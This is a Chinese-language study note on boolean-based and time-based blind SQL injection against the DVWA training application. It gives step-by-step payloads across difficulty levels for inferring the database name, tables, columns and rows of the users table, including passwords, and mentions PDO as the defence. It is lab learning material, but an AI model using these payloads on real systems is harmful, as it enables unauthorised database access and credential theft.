1. 程式人生 > >DVWA-基於布爾值的盲註與基於時間的盲註學習筆記

DVWA-基於布爾值的盲註與基於時間的盲註學習筆記

and pass sleep函數 防止 源碼 sql註入 過濾 coo 防禦

DVWA-基於布爾值的盲註與基於時間的盲註學習筆記

基於布爾值的盲註

一、DVWA分析

將DVWA的級別設置為low

1.分析源碼,可以看到對參數沒有做任何過濾,但對sql語句查詢的返回的結果做了改變,此次不能簡單的通過回顯的值來進行一般的註入了,可以通過bool盲註或者基於時間的註入。

  技術分享圖片

2.判斷sql是否存在註入,以及註入的類型

下圖說明存在字符型註入

  技術分享圖片

  技術分享圖片

  技術分享圖片

3.猜解當前數據庫名

3.1猜解當前數據庫的長度

1‘ and length(database())=4 #

  技術分享圖片

3.2猜解數據庫的名稱

1‘ and ascii(substr(database(),1,1))>99 #

  技術分享圖片

1‘ and ascii(substr(database(),1,1))>100 #

  技術分享圖片

3.3從上面的圖可以看到當前的數據庫名的第一位是d,依照上面的方法猜解數據庫的其他3位 猜解到數據庫名位dvwa

4.猜解數據庫中的表名

4.1猜解數據庫中有幾個表,下圖可以得出有2個表

1‘ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa‘)=2#

  技術分享圖片

4.2猜解表名稱的長度

猜解第一個表的長度

1‘ and length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 0,1))=9#

猜解第二個表的長度

1‘ and length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 1,1))=5 #

4.3猜解表的名稱

猜解第一個表

1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 0,1),1,1))=103#

依次猜解,獲得第一個表的名稱(guestbook)

猜解第二個表

1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 1,1),1,1))=117#

依次猜解,獲得第二個表的名稱(users)

5.猜解表中的字段名

5.1猜解users表中有幾個字段

1‘ and (select count(column_name) from information_schema.columns where table_name=‘users‘)=8#

5.2猜解每個字段的長度

猜解第一個字段的長度

1‘ and length((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1))=7#

猜解第二個字段的長度

1‘ and length((select column_name from information_schema.columns where table_name=‘users‘ limit 1,1))=10#

猜解第三個字段的長度

1‘ and length((select column_name from information_schema.columns where table_name=‘users‘ limit 2,1))=9#

猜解第四個字段的長度

1‘ and length((select column_name from information_schema.columns where table_name=‘users‘ limit 3,1))=4#

猜解第五個字段的長度

1‘ and length((select column_name from information_schema.columns where table_name=‘users‘ limit 4,1))=8#

猜解第六個字段的長度

1‘ and length((select column_name from information_schema.columns where table_name=‘users‘ limit 5,1))=6#

猜解第七個字段的長度

1‘ and length((select column_name from information_schema.columns where table_name=‘users‘ limit 6,1))=10#

猜解第八個字段的長度

1‘ and length((select column_name from information_schema.columns where table_name=‘users‘ limit 7,1))=12#

5.3猜解字段的名稱

這裏只猜解第三個字段(user)和第四個字段(password)的名稱

1‘ and ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 3,1),1,1))=117#

依次猜解,獲得字段的名稱(user)

1‘ and ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 4,1),1,1))=112#

依次猜解,獲得字段的名稱(password)

5.4猜解數據

1‘ and (select count(user) from users)=5# 猜解到user字段有5行數據

1‘ and ascii(substr((select user from users limit 0,1),1,1))=97#

依次猜解user字段的所有行數的數據

1‘ and ascii(substr((select password from users limit 1,1),1,1))=85#

將DVWA的級別設置為medium

1.可以看到前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數id,提交惡意構造的查詢參數,分析源碼mysql_real_escape_string函數對特殊符號\x00,\n,\r,,’,”,\x1a進行轉義

  技術分享圖片

2.判斷是否存在註入點以及註入的類型

輸入如下兩行,判斷返回的結果,下圖說明存在數字型註入

1 and 1=1#

1 and 1=2#

  技術分享圖片

  技術分享圖片

3.猜解當前數據庫名

3.1猜解數據庫的長度

1 and length(database())=4#

  技術分享圖片

3.2猜解數據庫的名稱

1 and ascii(substr(database(),1,1))=100#

依次猜解,獲得當前數據庫的名稱位dvwa

4.猜解數據庫中的表

4.1猜解數據庫中有幾個表

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

4.2猜解表名稱的長度

猜解第一個表的長度

1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#

猜解第二個表的長度

1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))=5#

4.3猜解表的名稱

猜解第一個表

1 and ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1))=103#

依次猜解,獲得第一個表的名稱(guestbook)

猜解第二個表

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#

依次猜解,獲得第二個表的名稱(users)

5.猜解表中的字段名

5.1猜解users表中有幾個字段

1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8#

5.2猜解字段的長度

5.3猜解字段的名稱

將DVWA的級別設置為High

1.分析源碼,利用cookie傳遞參數id,當sql查詢結果為空時,會執行sleep函數(防止基於時間的盲註),然後在sql查詢語句中加入了limit限制,但可以通過#註釋掉來繞過防禦。

  技術分享圖片

將DVWA的級別設置為Impossible

1.分析源碼,對參數使用PDO技術,PDO技術將用戶傳遞的參數與sql查詢語句完全分離,杜絕了sql註入

  技術分享圖片

DVWA-SQL基於時間盲註

將DVWA的級別設置為low

1.判斷是否存在註入點以及註入類型

通過輸入以下兩行,根據返回的延遲判斷存在字符型註入

1 and sleep(5)#

1‘ and sleep(5)#

2.猜解當前數據庫名

2.1猜解當前數據庫的長度

1‘ and if(length(database())=4,sleep(5),1)#

2.2猜解數據庫的名稱

1‘ and if(ascii(substr(database(),1,1))=100,sleep(5),1)#

依次猜解,獲得當前數據庫的名稱位dvwa

3.猜解數據庫中的表

3.1猜解數據庫中有幾個表

1‘ and if((select count(table_name) from information_schema.tables where table_schema=‘dvwa‘)=2,sleep(5),1)#

3.2猜解表名稱的長度

猜解第一個表的長度

1‘ and if(length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 0,1))=9,sleep(5),1)#

猜解第二個表的長度

1‘ and if(length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 1,1))=5,sleep(5),1)#

3.3猜解表的名稱

猜解第一個表

1‘ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 0,1),1,1))=103,sleep(5),1)#

依次猜解,獲得第一個表的名稱(guestbook)

猜解第一個表

1‘ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 1,1),1,1))=117,sleep(5),1)#

依次猜解,獲得第二個表的名稱(users)

4. 猜解表中的字段名

4.1猜解users表中有幾個字段

1‘ and if((select count(column_name) from information_schema.columns where table_name=‘users‘)=8,sleep(5),1)#

4.2猜解字段的名稱

同上

  

DVWA-基於布爾值的盲註與基於時間的盲註學習筆記